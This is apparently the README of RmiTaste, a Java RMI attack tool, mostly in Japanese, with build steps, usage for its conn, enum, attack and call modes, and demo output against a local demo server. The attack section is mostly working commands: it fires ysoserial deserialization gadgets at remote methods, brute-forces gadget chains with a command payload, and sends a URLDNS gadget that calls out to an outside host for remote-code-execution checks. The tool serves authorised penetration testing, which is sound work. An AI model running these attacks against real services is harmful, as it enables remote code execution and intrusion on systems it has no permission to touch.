
Java RMIセキュリティテストツール。ysoserial逆シリアル化ガジェットを使用して安全でないRMIサービスを検出、列挙、悪用し、リモートコード実行を達成する。
RmiTaste は、セキュリティ専門家が ysoserial のガジェットを使用してリモートメソッドを呼び出すことで、RMI サービスの検出、列挙、対話、攻撃を可能にします。また、特定のパラメータでリモートメソッドを呼び出すこともできます。
RmiTaste は、ユーザーが事前に攻撃する許可を得ているシステム上の安全でない RMI サービスを特定するためのセキュリティ専門家を支援するために作成されました。コンピュータシステムへの無許可アクセスは違法であり、RmiTaste はすべての関連法規に従って使用する必要があります。違反した場合、起訴される可能性があります。RmiTaste の開発者は、一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についても責任を負いません。
openjdk 11.0.3 が必要です。
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
Warning: RmiTaste was written to aid security professionals in identifying the
insecure use of RMI services on systems which the user has prior
permission to attack. RmiTaste must be used in accordance with all
relevant laws. Failure to do so could lead to your prosecution.
The developers assume no liability and are not responsible for any
misuse or damage caused by this program.
RmiTaste には4つのモードがあります: conn、enum、attack、call。各モードには個別のヘルプがあります。
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
-h, --help display this help message
Commands:
conn check connection to host
enum enumerate RMI service
attack attack RMI registry methods
call call specific method on RMI remote object
conn モードは、ポートが RMI サービスポートかどうかを確認できます。
# Check if 127.0.0.1:1099 is RMI Service
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
enum モードは、RMI サービスに関する情報(リモートオブジェクトの名前や、リモートオブジェクトが実装または拡張するクラス名など)を取得できます。もしリモートオブジェクトが実装しているインターフェースが RmiTaste のクラスパス上にある場合、RmiTaste はそのリモートオブジェクトに対して呼び出せるすべてのリモートメソッドを表示します。
# RMI service enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
attack モードは、ysoserial の特定のガジェットチェーンを使用してリモートメソッドを呼び出すことができます。リモートオブジェクトに以下のメソッドがあるとします:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call all remote methods with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with URLDNS gadget as parameter
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
オプション "-gen bruteforce" は、ysoserial のガジェットでリモートメソッドをブルートフォース攻撃できます。この例では、deposit メソッドが ysoserial の様々なガジェットで複数回呼び出されます。
# Call acc1:m0.rmitaste.example.server.ClientAccount:deposit method with gadgets from ysoserial and command ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
call モードは、RMI リモートオブジェクト上の特定のメソッドを呼び出すことができます。リモートオブジェクトに以下のメソッドがあるとします:
acc1 [object] [127.0.1.1:38293]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
# Call m0.rmitaste.example.server.ClientAccount.getBalance method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# Call m0.rmitaste.example.server.ClientAccount.setPin("1234") method on acc1 remote object
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
デモサーバーはこちらから入手できます。
デモサーバーを実行します。
ターゲットを列挙します。
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
No methods found. I don't have remote object interface. Give it to me!
ご覧のとおり、RmiTaste はリモートオブジェクトのインターフェースを必要とします。ペンテスト中は、このインターフェースを見つける必要があります。この例では、rmitaste.examples-1.0-SNAPSHOT-all.jar を libs_attack ディレクトリにコピーしてください。 ターゲットを再度列挙します:
acc1 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
acc2 [object] [127.0.1.1:42881]
extends java.rmi.server.RemoteObjectInvocationHandler [class]
implements java.rmi.Remote [interface]
extends java.lang.reflect.Proxy [class]
extends java.rmi.server.RemoteObject [class]
implements m0.rmitaste.example.server.ClientAccount [interface]
setPin(java.lang.String param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
getBalance(); [method]
deposit(java.lang.Object param0); [method]
Parameters: param0; may be vulnerable to Java Deserialization! [info]
withdraw(float param0); [method]
Twitter: @_mzer0